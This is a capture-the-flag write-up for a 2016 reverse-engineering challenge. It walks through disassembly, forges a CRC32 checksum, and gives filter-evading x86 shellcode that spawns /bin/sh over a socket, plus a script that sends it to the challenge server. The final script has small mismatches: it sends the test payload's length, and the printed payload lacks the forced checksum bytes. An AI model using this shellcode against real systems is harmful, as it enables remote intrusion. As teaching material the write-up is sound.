social



hack you spb CTF 2016 - Rev300 Serious Business writeup

There is an ELF binary, and we need to get an RCE from it. Shouldn't this be in the pwn category? Anyway, a quick check with radare2 shows us that the binary accepts incoming socket connections and processes them this way:

[0x080488f0]> pdf @ sym._Z7handleri 
            ; CODE (CALL) XREF from 0x08048db5 (unk)
               ;      handler(int)
               / (fcn) fcn.08048eb2 283
               |           ;-- sym._Z7handleri:
               |           0x08048eb2    55           push ebp
               |           0x08048eb3    89e5         mov ebp, esp
               |           0x08048eb5    83ec38       sub esp, 0x38
               |           0x08048eb8    c745e800000. mov dword [ebp-0x18], 0x0
               |           0x08048ebf    c70424e8030. mov dword [esp], 0x3e8
               |           0x08048ec6    e8b5f9ffff   call 0x108048880 ; (sym.imp.setuid)
               |              sym.imp.setuid(unk)
               |           0x08048ecb    c70424e8030. mov dword [esp], 0x3e8
               |           0x08048ed2    e859f8ffff   call 0x108048730 ; (sym.imp.seteuid)
               |              sym.imp.seteuid()
               |           0x08048ed7    c70424e8030. mov dword [esp], 0x3e8
               |           0x08048ede    e89df8ffff   call 0x108048780 ; (sym.imp.setgid)
               |              sym.imp.setgid()
               |           0x08048ee3    c70424e8030. mov dword [esp], 0x3e8
               |           0x08048eea    e841f9ffff   call 0x108048830 ; (sym.imp.setegid)
               |              sym.imp.setegid()
               |           0x08048eef    c744240c000. mov dword [esp+0xc], 0x0
               |           0x08048ef7    c7442408040. mov dword [esp+0x8], 0x4
               |           0x08048eff    8d45e8       lea eax, [ebp-0x18]
               |           0x08048f02    89442404     mov [esp+0x4], eax
               |           0x08048f06    8b4508       mov eax, [ebp+0x8]
               |           0x08048f09    890424       mov [esp], eax
               |           0x08048f0c    e8bff9ffff   call 0x1080488d0 ; (sym.imp.recv)
               |              sym.imp.recv()
               |           0x08048f11    8945ec       mov [ebp-0x14], eax
               |           0x08048f14    837dec04     cmp dword [ebp-0x14], 0x4
               |       ,=< 0x08048f18    750a         jnz 0x8048f24
               |       |   0x08048f1a    8b45e8       mov eax, [ebp-0x18]
               |       |   0x08048f1d    3dc8000000   cmp eax, 0xc8
               |      ,==< 0x08048f22    7605         jbe 0x8048f29
               |     ,=`-> 0x08048f24    e9a2000000   jmp 0x8048fcb ; (fcn.08048eb2)
               |     |`--> 0x08048f29    8b45e8       mov eax, [ebp-0x18]
               |     |     0x08048f2c    c7442414000. mov dword [esp+0x14], 0x0
               |     |     0x08048f34    c7442410fff. mov dword [esp+0x10], 0xffffffff
               |     |     0x08048f3c    c744240c210. mov dword [esp+0xc], 0x21
               |     |     0x08048f44    c7442408070. mov dword [esp+0x8], 0x7
               |     |     0x08048f4c    89442404     mov [esp+0x4], eax
               |     |     0x08048f50    c7042400000. mov dword [esp], 0x0
               |     |     0x08048f57    e864f8ffff   call 0x1080487c0 ; (sym.imp.mmap)
               |     |        sym.imp.mmap()
               |     |     0x08048f5c    8945f0       mov [ebp-0x10], eax
               |     |     0x08048f5f    8b45e8       mov eax, [ebp-0x18]
               |     |     0x08048f62    c744240c000. mov dword [esp+0xc], 0x0
               |     |     0x08048f6a    89442408     mov [esp+0x8], eax
               |     |     0x08048f6e    8b45f0       mov eax, [ebp-0x10]
               |     |     0x08048f71    89442404     mov [esp+0x4], eax
               |     |     0x08048f75    8b4508       mov eax, [ebp+0x8]
               |     |     0x08048f78    890424       mov [esp], eax
               |     |     0x08048f7b    e850f9ffff   call 0x1080488d0 ; (sym.imp.recv)
               |     |        sym.imp.recv()
               |     |     0x08048f80    8945ec       mov [ebp-0x14], eax
               |     |     0x08048f83    8b45e8       mov eax, [ebp-0x18]
               |     |     0x08048f86    89442408     mov [esp+0x8], eax
               |     |     0x08048f8a    8b45f0       mov eax, [ebp-0x10]
               |     |     0x08048f8d    89442404     mov [esp+0x4], eax
               |     |     0x08048f91    c7042400000. mov dword [esp], 0x0
               |     |     0x08048f98    e850feffff   call 0x108048ded ; (sym._Z5crc32jPcj)
               |     |        sym._Z5crc32jPcj()
               |     |     0x08048f9d    8945f4       mov [ebp-0xc], eax
               |     |     0x08048fa0    817df4bebaf. cmp dword [ebp-0xc], 0xcafebabe
               |    ,====< 0x08048fa7    7402         jz 0x8048fab
               |   ,=====< 0x08048fa9    eb20         jmp 0x8048fcb ; (fcn.08048eb2)
               |   |`----> 0x08048fab    8b45e8       mov eax, [ebp-0x18]
               |   | |     0x08048fae    89442404     mov [esp+0x4], eax
               |   | |     0x08048fb2    8b45f0       mov eax, [ebp-0x10]
               |   | |     0x08048fb5    890424       mov [esp], eax
               |   | |     0x08048fb8    e881feffff   call 0x108048e3e ; (fcn.08048e3e)
               |   | |        fcn.08048e3e() ; sym._Z6filterPci
               |   | |     0x08048fbd    83f001       xor eax, 0x1
               |   | |     0x08048fc0    84c0         test al, al
               |  ,======< 0x08048fc2    7402         jz 0x8048fc6
               |  || |     0x08048fc4    eb05         jmp 0x8048fcb ; (fcn.08048eb2)
               |  `------> 0x08048fc6    8b45f0       mov eax, [ebp-0x10]
               |   | |     0x08048fc9    ffd0         call eax
               |   | |        0x00000000()        
               |   | |     ; CODE (CALL) XREF from 0x08048f24 (fcn.08048eb2)
               |   | |     ; CODE (CALL) XREF from 0x08048fc4 (fcn.08048eb2)
               |   | |     ; CODE (CALL) XREF from 0x08048fa9 (fcn.08048eb2)
               |   `-`---> 0x08048fcb    c9           leave
               \           0x08048fcc    c3           ret

Basically, it performs setuid/setgid to 1000, then attempts to receive up to 4 bytes from the socket(closing the connection if it can't) and interprets them as the length of the incoming input, also making sure its value doesn't exceed 0xc8 (i.e. 200), then mmaps a buffer of that length to allow code execution, receives the input and checks if its CRC32 equals 0xcafebabe. If it does, sym._Z6filetrPci is called:

[0x080488f0]> pdf @ sym._Z6filterPci 
            ; CODE (CALL) XREF from 0x08048fb8 (fcn.08048eb2)
               ;      filter(char*, int)
               / (fcn) fcn.08048e3e 116
               |           ;-- sym._Z6filterPci:
               |           0x08048e3e    55           push ebp
               |           0x08048e3f    89e5         mov ebp, esp
               |           0x08048e41    83ec10       sub esp, 0x10
               |           0x08048e44    c745fc00000. mov dword [ebp-0x4], 0x0
               |       ,=< 0x08048e4b    eb56         jmp 0x8048ea3 ; (fcn.08048e3e)
               |       |   0x08048e4d    8b55fc       mov edx, [ebp-0x4]
               |       |   0x08048e50    8b4508       mov eax, [ebp+0x8]
               |       |   0x08048e53    01d0         add eax, edx
               |       |   0x08048e55    0fb600       movzx eax, byte [eax]
               |       |   0x08048e58    3c01         cmp al, 0x1
               |      ,==< 0x08048e5a    743c         jz 0x8048e98
               |      ||   0x08048e5c    8b55fc       mov edx, [ebp-0x4]
               |      ||   0x08048e5f    8b4508       mov eax, [ebp+0x8]
               |      ||   0x08048e62    01d0         add eax, edx
               |      ||   0x08048e64    0fb600       movzx eax, byte [eax]
               |      ||   0x08048e67    84c0         test al, al
               |     ,===< 0x08048e69    742d         jz 0x8048e98
               |     |||   0x08048e6b    8b55fc       mov edx, [ebp-0x4]
               |     |||   0x08048e6e    8b4508       mov eax, [ebp+0x8]
               |     |||   0x08048e71    01d0         add eax, edx
               |     |||   0x08048e73    0fb600       movzx eax, byte [eax]
               |     |||   0x08048e76    3c2f         cmp al, 0x2f
               |    ,====< 0x08048e78    741e         jz 0x8048e98
               |    ||||   0x08048e7a    8b55fc       mov edx, [ebp-0x4]
               |    ||||   0x08048e7d    8b4508       mov eax, [ebp+0x8]
               |    ||||   0x08048e80    01d0         add eax, edx
               |    ||||   0x08048e82    0fb600       movzx eax, byte [eax]
               |    ||||   0x08048e85    3c73         cmp al, 0x73
               |   ,=====< 0x08048e87    740f         jz 0x8048e98
               |   |||||   0x08048e89    8b55fc       mov edx, [ebp-0x4]
               |   |||||   0x08048e8c    8b4508       mov eax, [ebp+0x8]
               |   |||||   0x08048e8f    01d0         add eax, edx
               |   |||||   0x08048e91    0fb600       movzx eax, byte [eax]
               |   |||||   0x08048e94    3c68         cmp al, 0x68
               |  ,======< 0x08048e96    7507         jnz 0x8048e9f
               |  |````--> 0x08048e98    b800000000   mov eax, 0x0
               | ,=======< 0x08048e9d    eb11         jmp 0x8048eb0 ; (fcn.08048e3e)
               | |`------> 0x08048e9f    8345fc01     add dword [ebp-0x4], 0x1
               | |     |   ; CODE (CALL) XREF from 0x08048e4b (fcn.08048e3e)
               | |     `-> 0x08048ea3    8b45fc       mov eax, [ebp-0x4]
               | |         0x08048ea6    3b450c       cmp eax, [ebp+0xc]
               | |         0x08048ea9    7ca2         jl 0x108048e4d
               | |         0x08048eab    b801000000   mov eax, 0x1
               | |         ; CODE (CALL) XREF from 0x08048e9d (fcn.08048e3e)
               | `-------> 0x08048eb0    c9           leave
               \           0x08048eb1    c3           ret

This simply checks if there's any 00, 01, 2f, 73 or 68 among the received bytes (that is, '/', 's' or 'h') and if there is, returns 1. If 0 is returned, the handler function will call the received data.

This means there's two parts to this challenge: we need a shellcode that will have a CRC32 of 0xcafebabe and won't have any of the aforementioned bytes in it. We'll set aside the latter problem at the moment, and the former one would require some checksum forcing. Luckily, there is an article that neatly describes the technique to do that efficiently, changing four bytes of the given data to fit any checksum, and even provides us with a battle-ready python script. So let's repurpose some of its parts to suit our needs:

from forcecrc32 import multiply_mod, reciprocal_mod, pow_mod, reverse32, MASK
import zlib

def get_crc32(s):
    crc = zlib.crc32(s, 0)
    return reverse32(crc & MASK)

def get_delta(s, target):
    delta = get_crc32(s) ^ target # expects a reversed value
    return multiply_mod(reciprocal_mod(pow_mod(2, 32)), delta)

def force_crc32(s, target):
    s += '\x00' * 4
    delta = get_delta(s, reverse32(target)) 
    forced = bytearray(s[-4:])

    for i in range(4):
        forced[i] ^= (reverse32(delta) >> (i * 8)) & 0xFF

    return str(s[:-4] + forced) 

Let's check it:

...
test_payload = force_crc32("gimmecrc", 0xcafebabe)
print hex(zlib.crc32(test_payload,0) & 0xffffffff)
print test_payload[:-4]
print test_payload[-4:].encode('hex')
tr@karabut.com:~/work/hackyouctf16/rev300$ python generate_payload.py 
0xcafebabe
gimmecrc
7ef30841

Alright, it works! Now we can use any shellcode we wish, provided its length doesn't exceed 196 bytes (4 being reserved for the forced checksum) and it doesn't contain any of the forbidden bytes. We can easily avoid using '/sh' in our payload by xoring it with whatever we want, and we can replace any usual push dword instruction we need (its opcode is, unfortunately, 68) with, say, a mov edi dword; push edi combination. We'll also need to dup2 the socket descriptor our connection gets to 0, 1 and 2, of course, and knowing it was located at [ebp+0x8], or [esp+0x40], in the handler function, we can predict that it would end up at [esp+0x44] when our code gets called. So this should get us the shell:

0:  8b 5c 24 44             mov    ebx,DWORD PTR [esp+0x44] ; the socket descriptor
4:  31 c9                   xor    ecx,ecx                  
6:  6a 3f                   push   0x3f
8:  58                      pop    eax
9:  cd 80                   int    0x80                     ; dup2(fd, 0)
b:  41                      inc    ecx
c:  6a 3f                   push   0x3f
e:  58                      pop    eax
f:  cd 80                   int    0x80                     ; dup2(fd, 1)
11: 41                      inc    ecx
12: 6a 3f                   push   0x3f
14: 58                      pop    eax
15: cd 80                   int    0x80                     ; dup2(fd, 2)
17: 41                      inc    ecx
18: 6a 0b                   push   0xb
1a: 58                      pop    eax
1b: 99                      cdq
1c: 52                      push   edx
1d: bf 0f 0f 53 48          mov    edi,0x48530f0f           ; 
22: 81 f7 20 20 20 20       xor    edi,0x20202020           ;
28: 57                      push   edi                      ;
29: bf 0f 42 49 4e          mov    edi,0x4e49420f           ;
2e: 81 f7 20 20 20 20       xor    edi,0x20202020           ;
34: 57                      push   edi                      ; get /bin//sh on the stack
35: 89 e3                   mov    ebx,esp
37: 31 c9                   xor    ecx,ecx
39: cd 80                   int    0x80                     ; execve /bin/sh

The shellcode's only 58 bytes long, and there's no restricted bytes in it, but we also need to be sure we don't get them in the four bytes we force to fit the checksum:

...
payload = "\x8b\x5c\x24\x44\x31\xC9\x6A\x3F\x58\xCD\x80\x41\x6A\x3F\x58\xCD\x80\x41\x6A\x3F\x58\xCD\x80\x41\x6A\x0B\x58\x99\x52\xBF\x0F\x0F\x53\x48\x81\xF7\x20\x20\x20\x20\x57\xBF\x0F\x42\x49\x4E\x81\xF7\x20\x20\x20\x20\x57\x89\xE3\x31\xC9\xCD\x80"

payload = force_crc32(payload, 0xcafebabe)

print payload.encode('hex')
print any(x in '\x00\x01/sh' for x in payload)
tr@karabut.com:~/work/hackyouctf16/rev300$ python generate_payload.py 
8b5c244431c96a3f58cd80416a3f58cd80416a3f58cd80416a0b589952bf0f0f534881f72020202057bf0f42494e81f7202020205789e331c9cd80
False

It's fine, so all that's left is to pwn the actual server:

import socket
import struct

payload = '8b5c244431c96a3f58cd80416a3f58cd80416a3f58cd80416a0b589952bf0f0f534881f72020202057bf0f42494e81f7202020205789e331c9cd80'.decode('hex') 

s = socket.socket()
s.connect(('78.46.101.237', 3177))
s.send(struct.pack('<I', len(test_payload)))
s.send(payload)
s.send("ls\n")
print s.recv(1024)
tr@karabut.com:~/work/hackyouctf16/rev300$ python send_payload.py
Makefile
flag
log.txt
rev300
rev300.cpp
run
...
s.send("cat flag\n")
print s.recv(1024)
tr@karabut.com:~/work/hackyouctf16/rev300$ python send_payload.py
STUDY_HACK_BINARY_AND_BE_HAPPY